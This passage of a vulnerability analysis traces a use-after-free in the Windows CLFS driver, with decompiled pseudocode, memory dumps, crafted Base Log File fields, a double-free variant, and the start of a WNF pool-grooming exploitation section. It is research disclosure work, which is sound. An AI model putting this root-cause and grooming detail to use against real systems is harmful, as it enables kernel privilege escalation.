    CLFS_METADATA_BLOCK rgBlocks[ANYSIZE_ARRAY];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

After Version, the next set of fields are all related to CLFS Log Extension. This data could potentially be non-zero in memory, but for a stable Base Log File on disk, all of these fields are expected to be zero. This does not, of course, imply the CLFS driver or code necessarily makes this assumption.

The first CLFS Log Extension field, eExtendState, identifies the current extend state for the file using the enumeration below:

typedef enum _CLFS_EXTEND_STATE
{
    ClfsExtendStateNone,
    ClfsExtendStateExtendingFsd,
    ClfsExtendStateFlushingBlock
} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;

The next two values iExtendBlock and iFlushBlock identify the index of the block being extended, followed by the block being flushed, the latter of which will normally be the shadow block. Next, the sector size of the new block is stored in cNewBlockSectors and the original sector size before the extend operation is stored in cExtendStartSectors. Finally, the number of sectors that were added is saved in cExtendSectors.

  • Block Context: The control record ends with the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File. Although this is expected to be 6, there could potentially exist additional metadata blocks, and so for forward support, the cBlocks field
    indicates the number of blocks in the array.

Each array entry is identified by the CLFS_METADATA_BLOCK structure, shown below:

typedef struct _CLFS_METADATA_BLOCK
{
    union
    {
        PUCHAR pbImage;
        ULONGLONG ullAlignment;
    };
    ULONG cbImage;
    ULONG cbOffset;
    CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;

On disk, the cbOffset field indicates the offset, starting from the control metadata block (i.e.: the first sector in the Base Log File). Of where the metadata block can be found. The cbImage field, on the other hand, contains the size of the corresponding block, while the eBlockType
corresponds to the previously shown enumeration of possible metadata block types.

In memory, an additional field, pbImage, is used to store a pointer to the data in kernel-mode memory.

CLFS In-Memory Class

Once in memory, a CLFS Base Log File is represented by a CClfsBaseFile class, which can be further extended by a CClfsBaseFilePersisted. The definition for the former can be found in public symbols and is shown below:

struct _CClfsBaseFile
{
    ULONG m_cRef;
    PUCHAR m_pbImage;
    ULONG m_cbImage;
    PERESOURCE m_presImage;
    USHORT m_cBlocks;
    PCLFS_METADATA_BLOCK m_rgBlocks;
    PUSHORT m_rgcBlockReferences;
    CLFSHASHTBL m_symtblClient;
    CLFSHASHTBL m_symtblContainer;
    CLFSHASHTBL m_symtblSecurity;
    ULONGLONG m_cbContainer;
    ULONG m_cbRawSectorSize;
    BOOLEAN m_fGeneralBlockReferenced;
} CClfsBaseFile, *PCLFSBASEFILE;

These fields mainly represent data seen earlier, such as the size of the container, the sector size, the array of metadata blocks and their number, as well as the size of the whole Base Log File and its location in kernel mode memory. Additionally, the class is reference counted, and almost any access to any of its fields is protected by the m_presImage lock, which is an executive resource accessed in either shared or exclusive mode. Finally, each block itself is also referenced in the m_rgcBlockReferences array, noting there’s a limit of 65535 references. When the general block has been referenced at least once, the m_fGeneralBlockReferenced boolean is used to indicate the fact.

Code Analysis

All code listings show decompiled C code; source code is not available in the affected product.
Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

Opening a Log File

The CreateLogFile() function in the Win32 API can be used to open an existing log. This function triggers a call to CClfsBaseFilePersisted::OpenImage() in clfs.sys. The pseudocode of CClfsBaseFilePersisted::OpenImage() is listed below:

long __thiscall
CClfsBaseFilePersisted::OpenImage
          (CClfsBaseFilePersisted *this,_UNICODE_STRING *ExtFileName,_CLFS_FILTER_CONTEXT *ClfsFilterContext,
          unsigned_char param_3,unsigned_char *param_4)

{

[Truncated]

[1]

    Status = CClfsContainer::Open(this->CclfsContainer,ExtFileName,ClfsFilterContext,param_3,local_48);
    if ((int)Status < 0) {
LAB_fffff801226897c8:
        StatusDup = Status;
        if (Status != 0xc0000011) goto LAB_fffff80122689933;
    }
    else {
        StatusDup = Status;
        UVar4 = CClfsContainer::GetRawSectorSize(this->field_0x98_CclfsContainer);
        this->rawsectorSize = UVar4;
        if ((0xfff < UVar4 - 1) || ((UVar4 & 0x1ff) != 0)) {
            Status = 0xc0000098;
            StatusDup = Status;
            goto LAB_fffff80122689933;
        }

[2]

        Status = ReadImage(this,&ClfsControlRecord);
        if ((int)Status < 0) goto LAB_fffff801226897c8;
        StatusDup = Status;
        Status = CClfsContainer::GetContainerSize(this->CclfsContainer,&this->ContainerSize);
        StatusDup = Status;
        if ((int)Status < 0) goto LAB_fffff80122689933;
        ClfsBaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this);
        ControlRecord = ClfsControlRecord;
        if (ClfsBaseLogRecord != NULL) {

[Truncated]

[3]

            if (ClfsControlRecord->eExtendState == 0) goto LAB_fffff80122689933;
            Block = ClfsControlRecord->iExtendBlock;
            if (((((Block != 0) && (Block < this->m_cBlocks)) && (Block < 6)) &&
                ((Block = ClfsControlRecord->iFlushBlock, Block != 0 && (Block < this->m_cBlocks)))) &&
               ((Block < 6 &&
                (m_cbContainer = CClfsBaseFile::GetSize((CClfsBaseFile *)this),
                ControlRecord->cExtendStartSectors < m_cbContainer >> 9 ||
                ControlRecord->cExtendStartSectors == m_cbContainer >> 9)))) {
                cExtendSectors>>1 = ControlRecord->cExtendSectors >> 1;
                uVar8 = (this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9) + cExtendSectors>>1;
                if (ControlRecord->cNewBlockSectors < uVar8 || ControlRecord->cNewBlockSectors == uVar8) {

[4]

                    Status = ExtendMetadataBlock(this,(uint)ControlRecord->iExtendBlock,cExtendSectors>>1);
                    StatusDup = Status;
                    goto LAB_fffff80122689933;
                }
            }
        }
    }

[Truncated]

}

After initializing some in-memory data structures, CClfsContainer:Open() is called to open the existing Base Log File at [1]. ReadImage() is then called to read the Base Log File at [2]. If the current extend state in the Extend Context is not ClfsExtendStateNone(0) at [3], the
possibility to expand the Base Log File is explored.

If the original sector size before the previous extension (ControlRecord->cExtendStartSectors) is less than or equal to the current sector size of
the Base Log File (m_cbContainer), and the sector size of the Block (to be expanded) after the previous extension (ControlRecord->cNewBlockSectors) is less than or equal to the latest required sector size (current sector size of the Block to be expanded this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9 plus the number of sectors previously added cExtendSectors >> 1), the Base Log File needs expansion. ExtendMetadataBlock() is duly called at [4].

Note:

  • In all non-malicious cases, the current extend state is expected to be ClfsExtendStateNone(0) when the log file is written to disk.
  • Since the Extend Context is under attacker control (described below), all the fields discussed above can be set by the attacker.

Reading Base Log File

The CClfsBaseFilePersisted::ReadImage() function called at [2] is responsible for reading the Base Log File from disk. The pseudocode of this function is listed below:

int CClfsBaseFilePersisted::ReadImage
              (CClfsBaseFilePersisted *BaseFilePersisted,_CLFS_CONTROL_RECORD **ClfsControlRecordPtr)

{

[Truncated]

[5]

    BaseFilePersisted->m_cBlocks = 6;
    m_rgBlocks = (CLFS_METADATA_BLOCK *)ExAllocatePoolWithTag(0x200,0x90,0x73666c43);
    BaseFilePersisted->m_rgBlocks = m_rgBlocks;

[Truncated]

[6]

        memset(BaseFilePersisted->m_rgBlocks,0,(ulonglong)BaseFilePersisted->m_cBlocks * 0x18);
        memset(BaseFilePersisted->m_rgcBlockReferences,0,(ulonglong)BaseFilePersisted->m_cBlocks * 2);

[7]

        BaseFilePersisted->m_rgBlocks->cbOffset = 0;
        BaseFilePersisted->m_rgBlocks->cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbOffset = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;

[8]

        local_48 = CClfsBaseFile::GetControlRecord((CClfsBaseFile *)BaseFilePersisted,ClfsControlRecordPtr);

[9]

                        p_Var2 = BaseFilePersisted->m_rgBlocks->pbImage;
                        for (; (uint)indexIter < (uint)BaseFilePersisted->m_cBlocks;
                            indexIter = (ulonglong)((uint)indexIter + 1)) {
                            ControlRecorD = *ClfsControlRecordPtr;
                            pCVar3 = BaseFilePersisted->m_rgBlocks;
                            pCVar1 = ControlRecorD->rgBlocks + indexIter;
                            uVar6 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
                            uVar5 = pCVar1->cbImage;
                            uVar7 = pCVar1->cbOffset;
                            m_rgBlocks = pCVar3 + indexIter;
                            *(undefined4 *)&m_rgBlocks->pbImage = *(undefined4 *)&pCVar1->pbImage;
                            *(undefined4 *)((longlong)&m_rgBlocks->pbImage + 4) = uVar6;
                            m_rgBlocks->cbImage = uVar5;
                            m_rgBlocks->cbOffset = uVar7;
                            pCVar3[indexIter].eBlockType = ControlRecorD->rgBlocks[indexIter].eBlockType;
                            BaseFilePersisted->m_rgBlocks[indexIter].pbImage = NULL;
                        }
                        BaseFilePersisted->m_rgBlocks->pbImage = p_Var2;
                        BaseFilePersisted->m_rgBlocks[1].pbImage = p_Var2;

[10]

                        local_48 = CClfsBaseFile::AcquireMetadataBlock(BaseFilePersisted,ClfsMetaBlockGeneral);
                        if (-1 < (int)local_48) {
                            BaseFilePersisted->field_0x94 = '\x01';
                        }
                        goto LAB_fffff80654e09f9e;

[Truncated]

}

The in-memory buffer of the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File, is allocated (m_rgBlocks) at [5]. Each array entry is identified by the CLFS_METADATA_BLOCK structure, which is of size 0x18. The cBlocks field, which indicates the number of blocks in the array, is set to the default value 6 (Hence, the size of allocation for m_rgBlocks is 0x18 * 6 = 0x90).

The content in m_rgBlocks is initialized to 0 at [6]. The first two entries in m_rgBlocks are for the Control Record and its shadow, both of which have a fixed size of 0x400. The sizes and offsets for these blocks are duly set at [7].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  00000000`00000000 00000000`00000400
ffffc60c`53904390  00000000`00000000 00000000`00000000
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

CClfsBaseFile::GetControlRecord() is called to retrieve the Control Record from the Base Log File at [8]. The pbImage field in the first two entries in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks contains the following values:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

The rgBlocks array from the Control Record is copied into m_rgBlocks at [9]. Thus, the sizes and corresponding offsets of each of the metadata blocks is saved.

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 00000000`00000000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

AcquireMetadataBlock() is called with the second parameter set to ClfsMetaBlockGeneral to read in the General Metadata Block from the Base Log File at [10]. The pbImage field for the corresponding entry and its shadow in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer [17] and [20]).

Reading Control Record

Internally, CClfsBaseFilePersisted::ReadImage() calls CClfsBaseFile::GetControlRecord() to retrieve the Control Record. The pseudocode of
CClfsBaseFile::GetControlRecord() is listed below:

long __thiscall CClfsBaseFile::GetControlRecord(CClfsBaseFile *this,_CLFS_CONTROL_RECORD **ClfsControlRecordptr)

{
    uint iVar4;
    astruct_12 *lVar3;
    _CLFS_LOG_BLOCK_HEADER *pbImage;
    uint RecordOffset;
    uint cbImage;

    *ClfsControlRecordptr = NULL;

[11]

    iVar4 = AcquireMetadataBlock((CClfsBaseFilePersisted *)this,0);
    if (-1 < (int)iVar4) {
        cbImage = this->m_rgBlocks->cbImage;
        ControlMetadataBlock = this->m_rgBlocks->pbImage;
        RecordOffset = pbImage->RecordOffsets[0];
        if (((RecordOffset < cbImage) && (0x6f < RecordOffset)) && (0x67 < cbImage - RecordOffset)) {

[12]

            *ClfsControlRecordptr =
                 (_CLFS_CONTROL_RECORD *)((longlong)ControlMetadataBlock->RecordOffsets + ((ulonglong)RecordOffset - 0x28));
        }
        else {
            iVar4 = 0xc01a000d;
        }
    }
    return (long)iVar4;
}

AcquireMetadataBlock() is called with the second parameter of type _CLFS_METADATA_BLOCK_TYPE set to ClfsMetaBlockControl (0) to acquire the
Control MetaData Block at [11]. The record offset is retrieved and used to calculate the address of the Control Record, which is saved at [12].

Acquiring Metadata Block

The CClfsBaseFile::AcquireMetadataBlock() function is used to acquire a metadata block. The pseudocode of this function is listed below:

int CClfsBaseFile::AcquireMetadataBlock
              (CClfsBaseFilePersisted *ClfsBaseFilePersisted,_CLFS_METADATA_BLOCK_TYPE BlockType)

{
    ulong lVar1;
    longlong BlockTypeDup;

    lVar1 = 0;
    if (((int)BlockType < 0) || ((int)(uint)ClfsBaseFilePersisted->m_cBlocks <= (int)BlockType)) {
        lVar1 = 0xc0000225;
    }
    else {
        BlockTypeDup = (longlong)(int)BlockType;

[13]

        ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
             ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] + 1;

[14]

        if ((ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] == 1) &&
           (lVar1 = (*ClfsBaseFilePersisted->vftable->field_0x8)(ClfsBaseFilePersisted,BlockType), (int)lVar1 < 0))
        {
            ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
                 ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] - 1;
        }
    }
    return (int)lVar1;
}

The m_rgcBlockReferences entry for the Control Metadata Block is increased by 1 to signal its usage at [13].

If the reference count is 1, it is clear the Control Metadata Block was not being actively used (prior to this). In this case, it needs to be read from disk. The second entry in the virtual function table is set to CClfsBaseFilePersisted::ReadMetadataBlock(), which is duly called at [14].

Read Metadata Block

The CClfsBaseFilePersisted::ReadMetadataBlock() function is used to read a metadata block from disk. The pseudocode of this function is listed below:

ulong __thiscall
CClfsBaseFilePersisted::ReadMetadataBlock(CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType)

{

[Truncated]

[15]

    cbImage = this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;
    cbOffset = (PIRP)(ulonglong)this->m_rgBlocks[(longlong)_BlockTypeDup].cbOffset;
    if (cbImage == 0) {
        uVar3 = 0;
    }
    else {
        if (0x6f < cbImage) {

[16]

            ClfsMetadataBlock =
                 (_CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned,(ulonglong)cbImage,0x73666c43);
            if (ClfsMetadataBlock == NULL) {
                uVar1 = 0xc000009a;
            }
            else {

[17]

                this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage = ClfsMetadataBlock;
                memset(ClfsMetadataBlock,0,(ulonglong)cbImage);
                *(undefined4 *)&this->field_0xc8 = 0;
                this->field_0xd0 = 0;
                local_40 = local_40 & 0xffffffff00000000;
                local_50 = CONCAT88(local_50._8_8_,ClfsMetadataBlock);

[18]

                uVar5 = CClfsContainer::ReadSector
                                  ((ULONG_PTR)this->CclfsContainer,this->ObjectBody,NULL,(longlong *)local_50,
                                   cbImage >> 9,&cbOffset);
                uVar3 = (ulong)uVar5;
                if (((int)uVar3 < 0) ||
                   (uVar3 = KeWaitForSingleObject(this->ObjectBody,Executive,'\0','\0',NULL), (int)uVar3 < 0))
                goto LAB_fffff801226841ad;
                this_00 = (CClfsBaseFilePersisted *)ClfsMetadataBlock;

[19]

                uVar3 = ClfsDecodeBlock(ClfsMetadataBlock,cbImage >> 9,*(unsigned_char *)&ClfsMetadataBlock->UpdateCount
                                        ,(unsigned_char)0x10,local_res20);

[Truncated]

                    ShadowBlockType = BlockType + ClfsMetaBlockControlShadow;
                    uVar6 = (ulonglong)ShadowBlockType;

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage = NULL;
                            this->m_rgBlocks[ShadowBlockTypeDup].cbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;

[20]

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage;

[Truncated]

The size of the Metadata block to be read is retrieved and saved in cbImage. Note that these sizes are stored in the Control Record of the Base Log File.

To read the Control Record, the hardcoded value is taken at [15], as the Control Record is of a fixed size. Memory (ClfsMetadataBlock) is allocated to read the metadata block from disk at [16]. The corresponding pbImage entry in m_rgBlocks is filled in and ClfsMetadataBlock is initialized to 0 at [17]. The function CClfsContainer::ReadSector() is called to read the specified number of sectors from disk at [18].

ClfsMetadataBlock now contains the exact contents of the metadata Block as present in the file. It is important to note that the Control Metadata Block contains the Control Context as described earlier. Thus, the contents of the Control Context are fully controlled by the attacker.
ClfsMetadataBlock is decoded via a call to ClfsDecodeBlock at [19]. It is also important to note that in the case of the Control Metadata Block, this does not modify any field in the Control Context. The corresponding shadow pbImage entry in m_rgBlocks is also set to ClfsMetadataBlock at [20].

Extending Metadata Block

The call to ExtendMetadataBlock() at [4] is used to extend the size of a particular metadata block in the Base Log File. The pseudocode of this function pertaining to when the current extend state is ClfsExtendStateFlushingBlock(2) is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlock
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType,unsigned_long cExtendSectors>>1)
{

[Truncated]

    do {
        ret = retDup;
        if (*ExtendPhasePtr != 2) break;
        iFlushBlockPtr = &ClfsControlRecordDup->iFlushBlock;
        iExtendBlockPtr = &ClfsControlRecordDup->iExtendBlock;

[21]

        iFlushBlock = *iFlushBlockPtr;
        iFlushBlockDup = (ulonglong)iFlushBlock;
        iExtendBlock = *iExtendBlockPtr;
        iFlushBlockDup2 = (uint)iFlushBlock;

[22]

        if (((iFlushBlock == iExtendBlock) ||
            (uVar4 = IsShadowBlock(this_00,iFlushBlockDup2,(uint)iExtendBlock),
            uVar4 != (unsigned_char)0x0)) &&
           (this->m_rgBlocks[iFlushBlockDup].cbImage >> 9 <
            ClfsControlRecordDup->cNewBlockSectors)) {
            ExtendMetadataBlockDescriptor
                      (this,iFlushBlockDup2,
                       ClfsControlRecordDup->cExtendSectors >> 1);
            iFlushBlockDup = (ulonglong)*iFlushBlockPtr;
        }
        WriteMetadataBlock(this,(uint)iFlushBlockDup & 0xffff,(unsigned_char)0x0);
        if (*puVar1 == *puVar2) {
            *ExtendPhasePtr = 0;
        }
        else {
            *puVar1 = *puVar1 - 1;

[23]

            ret = ProcessCurrentBlockForExtend(this,ClfsControlRecordDup);
            retDup = ret;
            if ((int)ret < 0) break;
        }

[Truncated]

The index of the block being extended (iFlushBlock) and the block being flushed (iExtendBlock) are extracted from the Extend Context in the Control Record of the Base Log File at [21]. With specially crafted values of the above fields and cNewBlockSectors at [22], code execution reaches ProcessCurrentBlockForExtend() at [23]. ProcessCurrentBlockForExtend() internally calls ExtendMetadataBlockDescriptor(), whose pseudocode is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE iFlushBlock,unsigned_long cExtendSectors>>1)

{

[Truncated]

    iFlushBlockDup = (ulonglong)iFlushBlock;
    NewMetadataBlock = NULL;
    RecordHeader = NULL;
    iVar13 = 0;
    uVar3 = this->m_cbRawSectorSize;
    if (uVar3 == 0) {
        NewSize = 0;
    }
    else {
        NewSize = (uVar3 - 1) + this->m_rgBlocks[iFlushBlockDup].cbImage + cExtendSectors>>1 * 0x200 & -uVar3;
    }
    RecordsParamsPtr = this->m_rgBlocks;
    pCVar1 = RecordsParamsPtr + iFlushBlockDup;
    uVar4 = *(undefined4 *)&pCVar1->pbImage;
    uVar5 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
    uVar3 = pCVar1->cbImage;
    uVar6 = pCVar1->cbOffset;
    CVar2 = RecordsParamsPtr[iFlushBlockDup].eBlockType;
    ShadowIndex._0_4_ = iFlushBlock + ClfsMetaBlockControlShadow;
    ShadowIndex = (ulonglong)(uint)ShadowIndex;
    uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,iFlushBlock,(uint)ShadowIndex);
    if ((uVar7 == (unsigned_char)0x0) &&
       (uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,(unsigned_long)ShadowIndex,iFlushBlock),
       uVar7 != (unsigned_char)0x0)) {
        if (RecordsParamsPtr[iFlushBlockDup].pbImage != NULL) {

[24]

            ExFreePoolWithTag(RecordsParamsPtr[iFlushBlockDup].pbImage,0);
            this->m_rgBlocks[iFlushBlockDup].pbImage = NULL;
            RecordsParamsPtr = this->m_rgBlocks;
            ShadowIndex = (ulonglong)(iFlushBlock + ClfsMetaBlockControlShadow);
        }

[25]

        RecordsParamsPtr[iFlushBlockDup].cbImage = RecordsParamsPtr[ShadowIndex].cbImage;
        m_rgBlocksDup = this->m_rgBlocks;
        m_rgBlocksDup[iFlushBlockDup].pbImage = m_rgBlocks[ShadowIndex].pbImage;

[Truncated]


With carefully crafted values in the Control Record of the Base Log File, code execution reaches [24].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer to [17] and [20]). The pbImage field of the iFlushBlock index in m_rgBlocks is freed, and the corresponding entry is cleared at [24]. For example, if iFlushBlock is set to 2, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

The entry is then repopulated with the shadow index entry at [25].

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

Since the original entry and the shadow index entry pointed to the same memory, the repopulation leaves a reference to freed memory. Any use of the General Metadata Block will refer to this freed memory, resulting in a Use After Free.

The vulnerability can be converted to a double free by closing the handle to the Base Log File. This will trigger a call to FreeMetadataBlock, which will free all pbImage entries in m_rgBlocks.

Exploitation

A basic understanding of the segment heap in the windows kernel introduced since the 19H1 update is required to understand the exploit mechanism. The paper titled “Scoop the Windows 10 pool!” from SSTIC 2020 describes this mechanism in detail.

Windows Notification Facility

Objects from Windows Notification Facility (WNF) are used to groom the heap and convert the use after free into a full exploit. A good understanding of WNF is thus required to understand the exploit. The details about WNF described below are taken from the following sources:

Creating WNF State Name

When a WNF State Name is created via a call to NtCreateWnfStateName(), ExpWnfCreateNameInstance() is called internally to create a name
instance. The pseudocode of ExpWnfCreateNameInstance() is listed below:

ExpWnfCreateNameInstance
          (_WNF_SCOPE_INSTANCE *ScopeInstance,_WNF_STATE_NAME *StateName,undefined4 *param_3,_KPROCESS *param_4,
          _EX_RUNDOWN_REF **param_5)

{

[Truncated]

    uVar23 = (uint)((ulonglong)StateName >> 4) & 3;
    if ((PsInitialSystemProcess == Process) || (uVar23 != 3)) {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {
            SVar20 = 0xa8;
        }
        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithTag(PagedPool,SVar20,0x20666e57);
    }
    else {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {

[1]

            SVar20 = 0xa8;
        }

[2]

        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithQuotaTag(9,SVar20,0x20666e57);
    }


A chunk of size 0xa8 (as seen at [1]) is allocated from the Paged Pool at [2] as a structure of type _WNF_NAME_INSTANCE. This results in an allocation of size 0xc0 from the LFH. This structure is listed below:

struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    struct _RTL_BALANCED_NODE TreeLinks;                                    //0x10

    // [3]

    struct _WNF_STATE_NAME_STRUCT StateName;                                //0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
    struct _WNF_LOCK StateDataLock;                                         //0x50

    // [4]

    struct _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88

    // [5]

    struct _EPROCESS* CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
}; 

Relevant entries in the _WNF_NAME_INSTANCE structure include:

  • StateName: Uniquely identifies the name instance, shown at [3].
  • StateData: Stores the data associated with the instance, shown at [4].
  • CreatorProcess: Stores the address of the _EPROCESS structure of the process that created the name instance, shown at [5].

The StateData is headed by a structure of type _WNF_STATE_DATA. This structure is listed below:

struct _WNF_STATE_DATA
{
    // [6]

    struct _WNF_NODE_HEADER Header;                                         //0x0

    // [7]

    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

The StateData pointer is referred to when the WNF State Data is updated and queried. The variable-size data immediately follows the _WNF_STATE_DATA structure.

Updating WNF State Data

When the WNF State Data is updated via a call to NtUpdateWnfStateData(), ExpWnfWriteStateData() is called internally to write to the StateData pointer. The pseudocode of ExpWnfWriteStateData() is listed below.

void ExpWnfWriteStateData
               (_WNF_NAME_INSTANCE *NameInstance,void *InputBuffer,ulonglong Length,int MatchingChangeStamp,
               int CheckStamp)

{

[Truncated]

    if (NameInstance->StateData != (_WNF_STATE_DATA *)0x1) {

[8]

        StateData = NameInstance->StateData;
    }
    LengtH = (uint)(Length & 0xffffffff);

[9]

    if (((StateData == NULL) && ((NameInstance->PermanentDataStore != NULL || (LengtH != 0)))) ||

[10]

       ((StateData != NULL && (StateData->AllocatedSize < LengtH)))) {

[Truncated]

[11]

            StateData = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag(9,(ulonglong)(LengtH + 0x10),0x20666e57);

[Truncated]

[12]

        StateData->Header = (_WNF_NODE_HEADER)0x100904;
        StateData->AllocatedSize = LengtH;

[Truncated]

[13]

        RtlCopyMemory(StateData + 1,InputBuffer,Length & 0xffffffff);
        StateData->DataSize = LengtH;
        StateData->ChangeStamp = uVar5;

[Truncated]

    __security_check_cookie(local_30 ^ (ulonglong)&stack0xffffffffffffff08);
    return;
}

The InputBuffer and Length parameters to the function contain the contents and size of the data. It is important to note that these can be controlled by a user.

The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [8]. If the StateData pointer is NULL (as is the case initially) at [9], or if the current size is lesser than the size of the new data at [10], memory is allocated from the Paged Pool for the new StateData pointer at [11]. It important to note that the size of allocation is the size of the new data (Length) plus 0x10, to account for the _WNF_STATE_DATA header. The Header and AllocateSize fields shown at [6] and [7] of the _WNF_STATE_DATA header are then initialized at [12].

